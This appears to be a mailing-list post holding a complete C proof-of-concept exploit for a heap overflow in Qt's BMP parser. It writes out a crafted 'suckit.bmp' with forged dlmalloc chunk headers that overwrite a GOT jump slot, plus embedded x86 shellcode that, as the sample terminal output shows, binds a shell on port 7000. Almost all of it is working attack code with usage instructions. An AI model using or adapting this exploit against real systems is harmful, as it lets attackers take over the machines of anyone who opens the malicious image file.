/* * heap overflow exploit for qt bmp parsing bug * infamous42md AT hotpop DOT com * * shouts to mitakeet, MB, and peeps @hackaholic * * ok, pretty standard heap overflow here. we spill across our chunk and * overwrite the boundary tag for next chunk. the only problems i had was * finding a miserable jump slot to overwrite. i thought i could just * overwrite malloc jump slot, but umm, well i'm not sure how to get the jump * slot for malloc from the shared library file. it is some sort of offset * from somewhere, and i'm not sure where. using the malloc jump slot from the * program you're exploiting doesn't seem to work. sorry i'm not an expert on * linking and loading yet, maybe after i read the 'linker loader' book next * semester i will be... but perhaps someone could explain this to me? so * anyways, instead i hijacked QWidget::setCaption() jump slot. and how did i * find that? well, it sure wasn't a 1337 way. i dumped the GOT in gdb until i * found the address. so the below adddress is for Qt multithreaded 3.3.2. i'm * sure it is different for other machines/platforms, so you'll need to do some * digging i'm guessing. the program i used to test all this was qvv image * viewer b/c it was small and didn't take 37 hours to d/l like Konqueror would * of. obviously the heap layout is going to vary greatly from program to * program, and depending on at what point in a given program the bmp is * loaded, so i can't see this being a very reliable way to exploit. rather * just a POC. * * [n00b@xxxxxxxxxxxxxxxx] netstat -ant | grep 7000 * [n00b@xxxxxxxxxxxxxxxx] gcc -Wall haqt.c * [n00b@xxxxxxxxxxxxxxxx] ./a.out 0x80be9f8 8 * [n00b@xxxxxxxxxxxxxxxx] ./qvv suckit.bmp * [n00b@xxxxxxxxxxxxxxxx] netstat -ant | grep 7000 * tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN * [n00b@xxxxxxxxxxxxxxxx] ./a.out * Usage: ./a.out < retaddr > [ align ] * */ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netinet/in.h> #define RETLOC 0x808cd0c /* jump slot for QWidget::setCaption */ #define ALIGN 8 #define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0) #define BS 0x10000 #define OUTFILE "suckit.bmp" #define NCHUNK_BYTES 100 /* a bitmap header structure */ #define BMP_HDR_SZ sizeof(struct bmp) struct bmp { u_char type[2]; u_int bfsize, reserved, offbits, /* BMP_FILEHDR_SIZE */ bisize, /* 40 */ width, /* 8 */ height; /* 18 */ u_short planes, /* 1 */ bitcount; /* 8 */ u_int compres, /* 1 */ szimg, xppm, ypppm, clrused, /* 1 */ clrimportant; } __attribute__ ((packed)); /* a dlmalloc chunk descriptor */ #define CHUNKSZ sizeof(mchunk_t) typedef struct _mchunk { size_t prevsz; size_t sz; long fd; long bk; } mchunk_t; /* call them on port 7000, mine, and needs to lose some weight */ #define SHELL_LEN (sizeof(remote)-1) char remote[] = "\xeb\x0a""1234567890" /* jump */ "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69"; void make_bmp(char *buf, int len) { int fd = 0; /* create the 3vil file */ if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0) die("open"); if(write(fd, buf, len) < 0) die("write"); close(fd); } /* * */ int main(int argc, char **argv) { int len = 0, x = 0, align = ALIGN; char buf[BS]; u_long retaddr; struct bmp bmp; mchunk_t chunk; if(argc < 2){ fprintf(stderr, "\tUsage: %s < retaddr > [ align ]\n", argv[0]); return EXIT_FAILURE; } if(argc > 2){ align = atoi(argv[2]); if(align < 0 || align > 15) die("get bent bitch"); } sscanf(argv[1], "%lx", &retaddr); /* setup bitmap header info */ memset(&bmp, 0, BMP_HDR_SZ); bmp.type[0] = 'B', bmp.type[1] = 'M'; bmp.bfsize = 3126; bmp.bisize = 40; bmp.planes = 1; bmp.bitcount = 8; bmp.compres = 1; bmp.clrused = 1; bmp.width = 8; bmp.height = 18; /* and the chunk */ chunk.prevsz = 224; chunk.sz = 0xfffffffc; chunk.fd = RETLOC - 12; chunk.bk = retaddr; /* and now setup the buffer */ memcpy(buf, &bmp, BMP_HDR_SZ); len += BMP_HDR_SZ; /* to pass some checks */ len += 4; /* the color table */ buf[len++] = 0; /* to pass the if() */ buf[len++] = 0xff; /* overwrite len */ /* * and now the fun begins: * first splatter the chunks, then the shellcode */ len += align; for(x = 0; x < NCHUNK_BYTES-CHUNKSZ-1; x += CHUNKSZ) memcpy(buf+len+x, &chunk, CHUNKSZ); len += x; memcpy(buf+len, remote, SHELL_LEN); len += SHELL_LEN; make_bmp(buf, len); return 0; } -- -sean